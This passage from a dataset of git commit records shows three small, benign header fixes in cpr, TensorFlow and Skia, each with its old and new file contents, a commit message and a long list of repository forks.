/bazel,spxtr\/bazel,UrbanCompass\/bazel,whuwxl\/bazel,bazelbuild\/bazel,cushon\/bazel,mbrukman\/bazel,zhexuany\/bazel,Asana\/bazel,kchodorow\/bazel-1,hermione521\/bazel,twitter-forks\/bazel,iamthearm\/bazel,spxtr\/bazel,dropbox\/bazel,ButterflyNetwork\/bazel,rohitsaboo\/bazel,ButterflyNetwork\/bazel,dslomov\/bazel,safarmer\/bazel,abergmeier-dsfishlabs\/bazel,UrbanCompass\/bazel,zhexuany\/bazel,Asana\/bazel,whuwxl\/bazel,dslomov\/bazel-windows,mbrukman\/bazel,anupcshan\/bazel,meteorcloudy\/bazel,katre\/bazel,snnn\/bazel,werkt\/bazel,abergmeier-dsfishlabs\/bazel"}
{"commit":"862f7bcae063e448d7cc7bb326e65705835d9d03","old_file":"include\/cprtypes.h","new_file":"include\/cprtypes.h","old_contents":"#ifndef _CPR_TYPES_H_\n#define _CPR_TYPES_H_\n\n#include <map>\n#include <string>\n\n#include <curl\/curl.h>\n\n\nstruct case_insensitive_compare\n{\n    case_insensitive_compare() {}\n\n    bool operator()(const std::string& a, const std::string& b) const {\n        return to_lower(a) < to_lower(b);\n    }\n\n    static void char_to_lower(char& c) {\n        if (c >= 'A' && c <= 'Z')\n        c += ('a' - 'A');\n    }\n\n    static std::string to_lower(const std::string& a) {\n        std::string s(a);\n        std::for_each(s.begin(), s.end(), char_to_lower);\n        return s;\n    }\n};\n\ntypedef std::map<std::string, std::string> Parameters;\ntypedef std::map<std::string, std::string, case_insensitive_compare> Header;\ntypedef std::string Url;\ntypedef std::map<std::string, std::string> Payload;\ntypedef long Timeout;\n\ntypedef struct {\n    CURL* handle;\n    struct curl_slist* chunk;\n} CurlHolder;\n\n#endif\n","new_contents":"#ifndef _CPR_TYPES_H_\n#define _CPR_TYPES_H_\n\n#include <algorithm>\n#include <map>\n#include <string>\n\n#include <curl\/curl.h>\n\n\nstruct case_insensitive_compare\n{\n    case_insensitive_compare() {}\n\n    bool operator()(const std::string& a, const std::string& b) const {\n        return to_lower(a) < to_lower(b);\n    }\n\n    static void char_to_lower(char& c) {\n        if (c >= 'A' && c <= 'Z')\n        c += ('a' - 'A');\n    }\n\n    static std::string to_lower(const std::string& a) {\n        std::string s(a);\n        std::for_each(s.begin(), s.end(), char_to_lower);\n        return s;\n    }\n};\n\ntypedef std::map<std::string, std::string> Parameters;\ntypedef std::map<std::string, std::string, case_insensitive_compare> Header;\ntypedef std::string Url;\ntypedef std::map<std::string, std::string> Payload;\ntypedef long Timeout;\n\ntypedef struct {\n    CURL* handle;\n    struct curl_slist* chunk;\n} CurlHolder;\n\n#endif\n","subject":"Include header where for_each is defined","message":"Include header where for_each is defined\n","lang":"C","license":"mit","repos":"skystrife\/cpr,msuvajac\/cpr,aquilleph\/cpr,SuperV1234\/cpr,aquilleph\/cpr,gruzovator\/cpr,smiley\/cpr,whoshuu\/cpr,smiley\/cpr,SuperV1234\/cpr,whoshuu\/cpr,whoshuu\/cpr,skystrife\/cpr,gruzovator\/cpr,msuvajac\/cpr,skystrife\/cpr,msuvajac\/cpr,SuperV1234\/cpr"}
{"commit":"07665aa311d6a157f18d36489de67f4a258811a0","old_file":"tensorflow\/core\/platform\/default\/cord.h","new_file":"tensorflow\/core\/platform\/default\/cord.h","old_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_DEFAULT_CORD_H_\n#define TENSORFLOW_CORE_PLATFORM_DEFAULT_CORD_H_\n\n#if !defined(__CUDACC__)\n\n\/\/ TODO(frankchn): Resolve compilation errors when building absl::Cord with CUDA\n#include \"absl\/strings\/cord.h\"\n#define TF_CORD_SUPPORT 1\n\n#endif  \/\/ __CUDACC__\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_DEFAULT_CORD_H_\n","new_contents":"\/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_PLATFORM_DEFAULT_CORD_H_\n#define TENSORFLOW_CORE_PLATFORM_DEFAULT_CORD_H_\n\n#include \"absl\/strings\/cord.h\"\n#define TF_CORD_SUPPORT 1\n\n#endif  \/\/ TENSORFLOW_CORE_PLATFORM_DEFAULT_CORD_H_\n","subject":"Enable Cord in NVCC build.","message":"Enable Cord in NVCC build.\n\nPiperOrigin-RevId: 362322881\nChange-Id: I49c24e6e961258b96c194812452de27678141300\n","lang":"C","license":"apache-2.0","repos":"tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,sarvex\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,yongtang\/tensorflow,tensorflow\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,gautam1858\/tensorflow,frreiss\/tensorflow-fred,Intel-Corporation\/tensorflow,petewarden\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,petewarden\/tensorflow,Intel-Corporation\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,tensorflow\/tensorflow,petewarden\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow,sarvex\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,Intel-tensorflow\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,paolodedios\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model"}
{"commit":"8361a0fa2c24bc58f43a48c77ed6ba9ad1819b63","old_file":"gpu\/include\/GrGLConfig_chrome.h","new_file":"gpu\/include\/GrGLConfig_chrome.h","old_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n\n#define GR_GL_PLATFORM_HEADER       <GLES2\/gl2.h>\n#define GR_GL_PLATFORM_HEADER_EXT   <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNCTION_TYPE\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n#endif\n","new_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n\n#define GR_GL_PLATFORM_HEADER       <GLES2\/gl2.h>\n#define GR_GL_PLATFORM_HEADER_EXT   <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNCTION_TYPE\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_GL_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n#endif\n","subject":"Fix macro in Chrome's GL config file","message":"Fix macro in Chrome's GL config file\n\nReview URL: http:\/\/codereview.appspot.com\/4308041\/\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@980 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"geekboxzone\/mmallow_external_skia,larsbergstrom\/skia,sudosurootdev\/external_skia,GladeRom\/android_external_skia,rubenvb\/skia,ominux\/skia,MarshedOut\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,noselhq\/skia,F-AOSP\/platform_external_skia,MarshedOut\/android_external_skia,UBERMALLOW\/external_skia,suyouxin\/android_external_skia,BrokenROM\/external_skia,boulzordev\/android_external_skia,shahrzadmn\/skia,PAC-ROM\/android_external_skia,TeslaOS\/android_external_skia,geekboxzone\/mmallow_external_skia,sigysmund\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,boulzordev\/android_external_skia,suyouxin\/android_external_skia,Tesla-Redux\/android_external_skia,Igalia\/skia,larsbergstrom\/skia,InfinitiveOS\/external_skia,shahrzadmn\/skia,MyAOSP\/external_chromium_org_third_party_skia,vanish87\/skia,nfxosp\/platform_external_skia,shahrzadmn\/skia,xzzz9097\/android_external_skia,rubenvb\/skia,TeslaProject\/external_skia,NamelessRom\/android_external_skia,OptiPop\/external_skia,Samsung\/skia,sigysmund\/platform_external_skia,MIPS\/external-chromium_org-third_party-skia,sigysmund\/platform_external_skia,MinimalOS\/external_skia,Asteroid-Project\/android_external_skia,aosp-mirror\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,ench0\/external_skia,ench0\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,suyouxin\/android_external_skia,amyvmiwei\/skia,spezi77\/android_external_skia,todotodoo\/skia,sombree\/android_external_skia,PAC-ROM\/android_external_skia,Jichao\/skia,RadonX-ROM\/external_skia,invisiblek\/android_external_skia,aospo\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,RadonX-ROM\/external_skia,boulzordev\/android_external_skia,TeamExodus\/external_skia,Hikari-no-Tenshi\/android_external_skia,ominux\/skia,Fusion-Rom\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,tmpvar\/skia.cc,Fusion-Rom\/external_chromium_org_third_party_skia,byterom\/android_external_skia,vvuk\/skia,TeslaProject\/external_skia,OneRom\/external_skia,codeaurora-unoffical\/platform-external-skia,Pure-Aosp\/android_external_skia,akiss77\/skia,akiss77\/skia,amyvmiwei\/skia,Android-AOSP\/external_skia,byterom\/android_external_skia,geekboxzone\/lollipop_external_skia,Jichao\/skia,Purity-Lollipop\/platform_external_skia,aospo\/platform_external_skia,temasek\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,AsteroidOS\/android_external_skia,spezi77\/android_external_skia,HealthyHoney\/temasek_SKIA,UBERMALLOW\/external_skia,Purity-Lollipop\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,VentureROM-L\/android_external_skia,ctiao\/platform-external-skia,MyAOSP\/external_chromium_org_third_party_skia,TeamEOS\/external_skia,Fusion-Rom\/android_external_skia,DiamondLovesYou\/skia-sys,AsteroidOS\/android_external_skia,tmpvar\/skia.cc,w3nd1go\/android_external_skia,PAC-ROM\/android_external_skia,Pure-Aosp\/android_external_skia,HalCanary\/skia-hc,houst0nn\/external_skia,HalCanary\/skia-hc,Plain-Andy\/android_platform_external_skia,aosp-mirror\/platform_external_skia,AOSPA-L\/android_external_skia,MinimalOS\/android_external_skia,sigysmund\/platform_external_skia,AOSPA-L\/android_external_skia,mydongistiny\/android_external_skia,nox\/skia,mozilla-b2g\/external_skia,RadonX-ROM\/external_skia,HealthyHoney\/temasek_SKIA,android-ia\/platform_external_skia,PAC-ROM\/android_external_skia,HealthyHoney\/temasek_SKIA,DiamondLovesYou\/skia-sys,Infusion-OS\/android_external_skia,RadonX-ROM\/external_skia,w3nd1go\/android_external_skia,houst0nn\/external_skia,TeamExodus\/external_skia,RadonX-ROM\/external_skia,MinimalOS-AOSP\/platform_external_skia,pacerom\/external_skia,aosp-mirror\/platform_external_skia,chenlian2015\/skia_from_google,TeamEOS\/external_skia,nfxosp\/platform_external_skia,jtg-gg\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,timduru\/platform-external-skia,VentureROM-L\/android_external_skia,qrealka\/skia-hc,AOSPU\/external_chromium_org_third_party_skia,nvoron23\/skia,vanish87\/skia,Fusion-Rom\/android_external_skia,noselhq\/skia,vvuk\/skia,sudosurootdev\/external_skia,boulzordev\/android_external_skia,TeamEOS\/external_skia,FusionSP\/external_chromium_org_third_party_skia,MinimalOS\/external_skia,Igalia\/skia,temasek\/android_external_skia,noselhq\/skia,DARKPOP\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,fire855\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,AOSPB\/external_skia,mmatyas\/skia,Euphoria-OS-Legacy\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,Infusion-OS\/android_external_skia,GladeRom\/android_external_skia,TeslaProject\/external_skia,F-AOSP\/platform_external_skia,MinimalOS\/android_external_skia,HalCanary\/skia-hc,ench0\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,suyouxin\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,byterom\/android_external_skia,MonkeyZZZZ\/platform_external_skia,boulzordev\/android_external_skia,OneRom\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,Euphoria-OS-Legacy\/android_external_skia,OneRom\/external_skia,qrealka\/skia-hc,geekboxzone\/lollipop_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,akiss77\/skia,TeamEOS\/external_chromium_org_third_party_skia,sigysmund\/platform_external_skia,amyvmiwei\/skia,TeamExodus\/external_skia,Infinitive-OS\/platform_external_skia,SlimSaber\/android_external_skia,chenlian2015\/skia_from_google,larsbergstrom\/skia,TeslaProject\/external_skia,MinimalOS-AOSP\/platform_external_skia,amyvmiwei\/skia,OneRom\/external_skia,sudosurootdev\/external_skia,byterom\/android_external_skia,ench0\/external_skia,Plain-Andy\/android_platform_external_skia,AOSPA-L\/android_external_skia,sombree\/android_external_skia,SlimSaber\/android_external_skia,MinimalOS\/external_skia,YUPlayGodDev\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,Igalia\/skia,android-ia\/platform_external_skia,RadonX-ROM\/external_skia,noselhq\/skia,CyanogenMod\/android_external_chromium_org_third_party_skia,MinimalOS\/android_external_skia,YUPlayGodDev\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,aospo\/platform_external_skia,Hybrid-Rom\/external_skia,geekboxzone\/mmallow_external_skia,ench0\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,OptiPop\/external_skia,scroggo\/skia,Euphoria-OS-Legacy\/android_external_skia,larsbergstrom\/skia,MinimalOS-AOSP\/platform_external_skia,FusionSP\/android_external_skia,AsteroidOS\/android_external_skia,codeaurora-unoffical\/platform-external-skia,ominux\/skia,MinimalOS\/external_skia,Hybrid-Rom\/external_skia,pcwalton\/skia,pacerom\/external_skia,MinimalOS\/android_external_skia,geekboxzone\/mmallow_external_skia,TeamEOS\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,houst0nn\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,nox\/skia,Hikari-no-Tenshi\/android_external_skia,noselhq\/skia,nox\/skia,TeamEOS\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,shahrzadmn\/skia,rubenvb\/skia,ench0\/external_chromium_org_third_party_skia,pacerom\/external_skia,AndroidOpenDevelopment\/android_external_skia,BrokenROM\/external_skia,chenlian2015\/skia_from_google,pacerom\/external_skia,aosp-mirror\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,Hybrid-Rom\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,ominux\/skia,Infusion-OS\/android_external_skia,ominux\/skia,CyanogenMod\/android_external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,MinimalOS\/external_skia,GladeRom\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,shahrzadmn\/skia,TeslaOS\/android_external_skia,Tesla-Redux\/android_external_skia,nvoron23\/skia,larsbergstrom\/skia,Asteroid-Project\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,VRToxin-AOSP\/android_external_skia,mmatyas\/skia,pcwalton\/skia,xzzz9097\/android_external_skia,w3nd1go\/android_external_skia,nox\/skia,tmpvar\/skia.cc,mydongistiny\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,temasek\/android_external_skia,shahrzadmn\/skia,nvoron23\/skia,temasek\/android_external_skia,todotodoo\/skia,google\/skia,AOSP-YU\/platform_external_skia,w3nd1go\/android_external_skia,google\/skia,geekboxzone\/mmallow_external_skia,larsbergstrom\/skia,TeamExodus\/external_skia,RadonX-ROM\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,TeslaOS\/android_external_skia,UBERMALLOW\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,SlimSaber\/android_external_skia,jtg-gg\/skia,MinimalOS\/android_external_skia,ctiao\/platform-external-skia,TeamTwisted\/external_skia,AOSP-YU\/platform_external_skia,Asteroid-Project\/android_external_skia,geekboxzone\/lollipop_external_skia,Jichao\/skia,Khaon\/android_external_skia,ench0\/external_chromium_org_third_party_skia,Tesla-Redux\/android_external_skia,ench0\/external_skia,DesolationStaging\/android_external_skia,TeamBliss-LP\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,akiss77\/skia,NamelessRom\/android_external_skia,aosp-mirror\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,nfxosp\/platform_external_skia,sudosurootdev\/external_skia,TeamEOS\/external_skia,google\/skia,todotodoo\/skia,AOSPB\/external_skia,SlimSaber\/android_external_skia,nvoron23\/skia,Pure-Aosp\/android_external_skia,sigysmund\/platform_external_skia,wildermason\/external_skia,geekboxzone\/lollipop_external_skia,jtg-gg\/skia,Jichao\/skia,F-AOSP\/platform_external_skia,timduru\/platform-external-skia,chenlian2015\/skia_from_google,byterom\/android_external_skia,android-ia\/platform_external_skia,HealthyHoney\/temasek_SKIA,AndroidOpenDevelopment\/android_external_skia,mmatyas\/skia,Khaon\/android_external_skia,suyouxin\/android_external_skia,codeaurora-unoffical\/platform-external-skia,w3nd1go\/android_external_skia,qrealka\/skia-hc,MonkeyZZZZ\/platform_external_skia,spezi77\/android_external_skia,rubenvb\/skia,todotodoo\/skia,NamelessRom\/android_external_skia,NamelessRom\/android_external_skia,Jichao\/skia,nox\/skia,temasek\/android_external_skia,rubenvb\/skia,ench0\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,FusionSP\/android_external_skia,TeslaOS\/android_external_skia,xzzz9097\/android_external_skia,HealthyHoney\/temasek_SKIA,Tesla-Redux\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,Infusion-OS\/android_external_skia,VentureROM-L\/android_external_skia,VentureROM-L\/android_external_skia,ench0\/external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,HalCanary\/skia-hc,Infinitive-OS\/platform_external_skia,qrealka\/skia-hc,AsteroidOS\/android_external_skia,pcwalton\/skia,HalCanary\/skia-hc,MinimalOS\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,amyvmiwei\/skia,AOSPU\/external_chromium_org_third_party_skia,akiss77\/skia,DesolationStaging\/android_external_skia,sudosurootdev\/external_skia,Fusion-Rom\/android_external_skia,Hybrid-Rom\/external_skia,houst0nn\/external_skia,nfxosp\/platform_external_skia,AndroidOpenDevelopment\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,FusionSP\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,Pure-Aosp\/android_external_skia,YUPlayGodDev\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,MonkeyZZZZ\/platform_external_skia,Samsung\/skia,Omegaphora\/external_skia,VRToxin-AOSP\/android_external_skia,spezi77\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,vanish87\/skia,akiss77\/skia,AOSP-YU\/platform_external_skia,Igalia\/skia,Infusion-OS\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,samuelig\/skia,HalCanary\/skia-hc,MarshedOut\/android_external_skia,nox\/skia,TeamTwisted\/external_skia,mydongistiny\/android_external_skia,VentureROM-L\/android_external_skia,amyvmiwei\/skia,google\/skia,Tesla-Redux\/android_external_skia,Hybrid-Rom\/external_skia,aospo\/platform_external_skia,xzzz9097\/android_external_skia,InfinitiveOS\/external_skia,fire855\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,vvuk\/skia,zhaochengw\/platform_external_skia,vanish87\/skia,aospo\/platform_external_skia,zhaochengw\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,ench0\/external_skia,Samsung\/skia,TeamEOS\/external_chromium_org_third_party_skia,AOSPB\/external_skia,invisiblek\/android_external_skia,TeslaOS\/android_external_skia,TeamEOS\/external_skia,wildermason\/external_skia,suyouxin\/android_external_skia,samuelig\/skia,AOSPA-L\/android_external_skia,samuelig\/skia,TeamBliss-LP\/android_external_skia,google\/skia,InfinitiveOS\/external_skia,samuelig\/skia,qrealka\/skia-hc,FusionSP\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,TeamBliss-LP\/android_external_skia,HealthyHoney\/temasek_SKIA,OneRom\/external_skia,VRToxin-AOSP\/android_external_skia,TeamTwisted\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,larsbergstrom\/skia,samuelig\/skia,OptiPop\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,android-ia\/platform_external_skia,TeamBliss-LP\/android_external_skia,samuelig\/skia,Tesla-Redux\/android_external_skia,Plain-Andy\/android_platform_external_skia,Purity-Lollipop\/platform_external_skia,DARKPOP\/external_chromium_org_third_party_skia,akiss77\/skia,scroggo\/skia,houst0nn\/external_skia,sigysmund\/platform_external_skia,Omegaphora\/external_skia,Omegaphora\/external_skia,Infinitive-OS\/platform_external_skia,Euphoria-OS-Legacy\/android_external_skia,TeamExodus\/external_skia,fire855\/android_external_skia,SlimSaber\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,shahrzadmn\/skia,AOSPA-L\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,sudosurootdev\/external_skia,zhaochengw\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,Purity-Lollipop\/platform_external_skia,fire855\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,houst0nn\/external_skia,fire855\/android_external_skia,HealthyHoney\/temasek_SKIA,todotodoo\/skia,Pure-Aosp\/android_external_skia,Pure-Aosp\/android_external_skia,spezi77\/android_external_skia,MonkeyZZZZ\/platform_external_skia,BrokenROM\/external_skia,Android-AOSP\/external_skia,Android-AOSP\/external_skia,Jichao\/skia,sombree\/android_external_skia,ench0\/external_chromium_org_third_party_skia,sombree\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,rubenvb\/skia,VRToxin-AOSP\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,aospo\/platform_external_skia,Purity-Lollipop\/platform_external_skia,noselhq\/skia,MinimalOS-AOSP\/platform_external_skia,qrealka\/skia-hc,AOSPU\/external_chromium_org_third_party_skia,boulzordev\/android_external_skia,tmpvar\/skia.cc,ominux\/skia,AOSP-YU\/platform_external_skia,DiamondLovesYou\/skia-sys,TeslaOS\/android_external_skia,Purity-Lollipop\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,Jichao\/skia,todotodoo\/skia,scroggo\/skia,BrokenROM\/external_skia,aosp-mirror\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,ctiao\/platform-external-skia,chenlian2015\/skia_from_google,NamelessRom\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,DiamondLovesYou\/skia-sys,boulzordev\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,MinimalOS\/external_skia,Pure-Aosp\/android_external_skia,TeamBliss-LP\/android_external_skia,wildermason\/external_skia,geekboxzone\/mmallow_external_skia,Samsung\/skia,Plain-Andy\/android_platform_external_skia,PAC-ROM\/android_external_skia,scroggo\/skia,Omegaphora\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,DesolationStaging\/android_external_skia,wildermason\/external_skia,Khaon\/android_external_skia,invisiblek\/android_external_skia,UBERMALLOW\/external_skia,VRToxin-AOSP\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,PAC-ROM\/android_external_skia,TeamTwisted\/external_skia,Asteroid-Project\/android_external_skia,HalCanary\/skia-hc,invisiblek\/android_external_skia,Igalia\/skia,aospo\/platform_external_skia,ench0\/external_skia,Android-AOSP\/external_skia,TeslaProject\/external_skia,YUPlayGodDev\/platform_external_skia,fire855\/android_external_skia,TeamBliss-LP\/android_external_skia,noselhq\/skia,DiamondLovesYou\/skia-sys,ctiao\/platform-external-skia,w3nd1go\/android_external_skia,InfinitiveOS\/external_skia,DesolationStaging\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,Samsung\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,MinimalOS\